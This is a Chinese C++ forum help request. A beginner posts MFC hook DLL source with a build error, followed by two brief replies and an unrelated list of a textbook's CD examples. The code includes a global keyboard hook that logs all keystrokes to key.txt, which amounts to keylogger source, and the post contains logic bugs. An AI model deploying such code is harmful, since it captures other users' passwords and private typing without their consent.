C++钩子DLL出错

阿两sama 2013-05-01 01:55:54
本人刚学C++,因为项目中要用到C++所以学习使用钩子。
我建的项目是MFC DLL—>创建规则 DLL(共享 MFC)—>使用共享 MFC DLL 的规则 DLL(D)
错误如下:


目录结构如下:


CPP文件下代码如下:
// Hook.cpp : 定义 DLL 的初始化例程。
//

#include "stdafx.h"
#include "Hook.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

// CHookApp
#pragma data_seg("mydata")
//鼠标钩子
HWND glhPrevTarWnd = NULL; // 上次鼠标所指的窗口句柄
HWND glhDisplayWnd = NULL; // 显示目标窗口标题编辑框的句柄
HWND glhMouseHook = NULL; // 安装的鼠标钩子句柄
HINSTANCE glhInstance = NULL; // DLL实例句柄
HWND glhKepPrevTarWnd = NULL; // 上次鼠标所指的窗口句柄
HWND glhKepDisplayWnd = NULL; // 显示目标窗口标题编辑框的句柄
HWND glhKepHook=NULL; //安装的键盘钩子句柄
HINSTANCE glhKepInstance = NULL; // DLL实例句柄
#pragma data_seg()



BEGIN_MESSAGE_MAP(CHookApp, CWinApp)
END_MESSAGE_MAP()

//主程序体
static AFX_EXTENSION_MODULE HookDLL = { NULL, NULL };

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// 如果使用 lpReserved,请将此移除
UNREFERENCED_PARAMETER(lpReserved);

if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("Hook.DLL 正在初始化!\n");

// 扩展 DLL 一次性初始化
if (!AfxInitExtensionModule(HookDLL, hInstance))
return 0;

// 将此 DLL 插入到资源链中
// 注意: 如果此扩展 DLL 由
// MFC 规则 DLL (如 ActiveX 控件)隐式链接到,
// 而不是由 MFC 应用程序链接到,则需要
// 将此行从 DllMain 中移除并将其放置在一个
// 从此扩展 DLL 导出的单独的函数中。使用此扩展 DLL 的
// 规则 DLL 然后应显式
// 调用该函数以初始化此扩展 DLL。否则,
// CDynLinkLibrary 对象不会附加到
// 规则 DLL 的资源链,并将导致严重的
// 问题。

new CDynLinkLibrary(HookDLL);
glhInstance=hInstance;//插入保存DLL实例句柄
glhKepInstance=hInstance;//插入保存DLL实例句柄
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("Hook.DLL 正在终止!\n");

// 在调用析构函数之前终止该库
AfxTermExtensionModule(HookDLL);
}
return 1; // 确定
}

// CHookApp 构造

CHookApp::CHookApp()
{
// TODO: 在此处添加构造代码,
// 将所有重要的初始化放置在 InitInstance 中
}

//CHookApp析构函数
CHookApp::~CHookApp()

{

if(glhMouseHook){

UnhookWindowsHookEx((HHOOK)glhMouseHook);
}
if(glhKepHook){

UnhookWindowsHookEx((HHOOK)glhKepHook);
}

}



// 唯一的一个 CHookApp 对象

CHookApp theApp;


// CHookApp 初始化

BOOL CHookApp::InitInstance()
{
CWinApp::InitInstance();

return TRUE;
}


LRESULT WINAPI MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook = (MOUSEHOOKSTRUCT FAR *) lParam;
if (nCode >= 0) {
HWND glhTargetWnd = pMouseHook->hwnd; // 取目标窗口句柄
HWND ParentWnd = glhTargetWnd;
while (ParentWnd != NULL){
glhTargetWnd = ParentWnd;
ParentWnd = GetParent(glhTargetWnd); // 取应用程序主窗口句柄
}
if (glhTargetWnd != glhPrevTarWnd) {
char szCaption[100];
GetWindowText(glhTargetWnd, szCaption, 100); // 取目标窗口标题
if (IsWindow(glhDisplayWnd))
SendMessage(glhDisplayWnd, WM_SETTEXT, 0, (LPARAM)(LPCTSTR)szCaption);
glhPrevTarWnd = glhTargetWnd; // 保存目标窗口
}
}
// 继续传递消息
return CallNextHookEx((HHOOK)glhMouseHook, nCode, wParam, lParam);
}

LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt","a+"); //输出到key.txt文件
if (wParam==VK_RETURN)
{
ch='\n';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
//ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);
}
fclose(fl);
}
return CallNextHookEx( (HHOOK)glhKepHook, nCode, wParam, lParam );
}




BOOL CHookApp::starthook(HWND hWnd)
{
BOOL bResult=FALSE;
glhMouseHook=(HWND)SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
if (glhMouseHook != NULL)
bResult = TRUE;
glhDisplayWnd = hWnd; // 设置显示目标窗口标题编辑框的句柄
return bResult;
BOOL bKepResult=FALSE;
glhKepHook=(HWND)SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhKepInstance,0);
if (glhKepHook != NULL)
bKepResult = TRUE;
glhKepDisplayWnd = hWnd; // 设置显示目标窗口标题编辑框的句柄
return bKepResult;
}

BOOL CHookApp::stophook()
{
BOOL bResult = FALSE;
if (glhMouseHook){
bResult = UnhookWindowsHookEx((HHOOK)glhMouseHook); // 卸载钩子
if (bResult)
glhDisplayWnd = glhPrevTarWnd = glhMouseHook = NULL;
}
return bResult;
BOOL bKepResult = FALSE;
if (glhKepHook){
bKepResult = UnhookWindowsHookEx((HHOOK)glhKepHook); // 卸载钩子
if (bKepResult)
glhKepDisplayWnd = glhKepPrevTarWnd = glhKepHook = NULL;
}
return bKepResult;
}

麻烦大家帮忙看下感激不尽
...全文
109 2 打赏 收藏 转发到动态 举报
写回复
用AI写文章
2 条回复
切换为时间正序
请发表友善的回复…
发表回复
赵4老师 2013-05-02
  • 打赏
  • 举报
回复
lo_back___ 2013-05-02
  • 打赏
  • 举报
回复
看不到图片。。。
如果读者需要使用光盘中的源代码,请将相关目录及其包含的内容复制到您的硬盘上,并修改对应的硬盘目录属性——取消目录及其所包含子目录和文件的“只读”属性。否则,打开VC项目时由于无法进行文件的“写”操作,会导致提示出错信息。 下面是对光盘中主要实例的简要说明: 实例2-1:演示C++程序的运行步骤。源代码在光盘中“\02\firstcpp”目录下。 实例2-2:Visual C++语言基本元素介绍。源代码在光盘中“\02\secondcpp”目录下。 实例2-3:cout流控制符setw的使用。源代码在光盘中“\02\thirdcpp”目录下。 实例2-4:增加域内填充字符。源代码在光盘中“\02\fourthcpp”目录下。 实例2-5:同一数据用不同进制输出结果。源代码在光盘中“\02\fifthcpp”目录下。 实例2-6:用浮点数的形式输出数据。源代码在光盘中“\02\sixthcpp”目录下。 实例2-7:数据的输入及输出。源代码在光盘中“\02\seventhcpp”目录下。 实例2-8:计算学生平均成绩。源代码在光盘中“\02\eighthcpp”目录下。 实例2-9:函数的调用。源代码在光盘中“\02\ninthcpp”目录下。 实例2-10:用指针传递参数。源代码在光盘中“\02\tenthcpp”目录下。 实例2-11:全局变量和局部变量。源代码在光盘中“\02\eleventhcpp”目录下。 实例2-12:使用指针注意内存的分配。源代码在光盘中“\02\twelfthcpp”目录下。 实例2-13:引用实例。源代码在光盘中“\02\thirteencpp”目录下。 实例2-14:虚函数的使用实例。源代码在光盘中“\02\fourteencpp”目录下。 实例3-1:利用向导生成的应用程序框架实例。源代码在光盘中“\03\test”目录下。 实例4-1:文档的存取。源代码在光盘中“\04\CDocument”目录下。 实例4-2:简单的文本编辑器。源代码在光盘中“\04\CEditView”目录下。 实例5-1:菜单实例。源代码在光盘中“\05\test1”目录下。 实例5-2:图片浏览器。源代码在光盘中“\05\picture”目录下。 实例5-3:工具栏资源编辑器。源代码在光盘中“\05\prop”目录下。 实例5-4:工具条的编程技术。源代码在光盘中“\05\record”目录下。 实例5-5:给状态栏添加时间窗格。源代码在光盘中“\05\pane”目录下。 实例6-1:创建模态对话框。源代码在光盘中“\06\dialog_1”目录下。 实例6-2:创建非模态对话框。源代码在光盘中“\06\dialog_2”目录下。 实例6-3:通用对话框展示。源代码在光盘中“\06\dialog_3”目录下。 实例6-4:创建一般属性页对话框。源代码在光盘中“\06\dialog_4”目录下。 实例6-5:创建向导对话框。源代码在光盘中“\06\dialog_5”目录下。 实例7-1:标准控件实例。源代码在光盘中“\07\CtrlTest”目录下。 实例8-1:区域探测实例。源代码在光盘中“\08\finding”目录下。 实例8-2:键盘字符的输入与显示。源代码在光盘中“\08\keyboard”目录下。 实例9-1:字体展示。源代码在光盘中“\09\text”目录下。 实例9-2:文字动画。源代码在光盘中“\09\characters”目录下。 实例9-3:画刷使用实例。源代码在光盘中“\09\Color”目录下。 实例10-1:打印实例。源代码在光盘中“\10\print”目录下。 实例11-1:存取SDI程序文档实例。源代码在光盘中“\11\SerialSDI”目录下。 实例11-2:文件操作实例。源代码在光盘中“\11\FileManipulate”目录下。 实例12-1:使用用户界面线程实例。源代码在光盘中“\12\InterfaceThread”目录下。 实例12-2:使用工作者线程实例。源代码在光盘中“\12\ControlThread”目录下。 实例12-3:多线程实例。源代码在光盘中“\12\WQDemo”目录下。 实例12-4:线程间的通信。源代码在光盘中“\12\ThreadCommu”目录下。 实例13-1:动态链接库(Dll)实例。源代码在光盘中“\13\dlltest ”目录下。 实例13-2:鼠标钩子应用实例。源代码在光盘中“\13\MouseHook”目录下。 实例13-3:键盘钩子应用实例。源代码在光盘中“\13\KeyboardHook”目录下。 实例14-1:WinSock网络程序:聊天室。源代码在光盘中“\14\WinSocketChat”目录下。 实例14-2:利用MSComm控件进行串口数据传输。源代码在光盘中“\14\MSComm”目录下。 实例14-3:简单的WinInet应用程序。源代码在光盘中“\14\SimpleNet”目录下。 实例15-1:创建Access数据库。源代码在光盘的“\15\Info”中。 实例15-2:MFC的ODBC数据库实例。源代码在光盘中“\15\Enroll”目录下。 实例15-3:利用ADO查询并操作数据库实例。源代码在光盘中“\15\AdoTest”目录下。 FTP应用实例:FTP客户端程序,源代码在光盘目录“\16”下。 人事管理系统:源代码在光盘目录“\17”下。

64,636

社区成员

发帖
与我相关
我的任务
社区描述
C++ 语言相关问题讨论,技术干货分享,前沿动态等
c++ 技术论坛(原bbs)
社区管理员
  • C++ 语言社区
  • encoderlee
  • paschen
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
  1. 请不要发布与C++技术无关的贴子
  2. 请不要发布与技术无关的招聘、广告的帖子
  3. 请尽可能的描述清楚你的问题,如果涉及到代码请尽可能的格式化一下

试试用AI创作助手写篇文章吧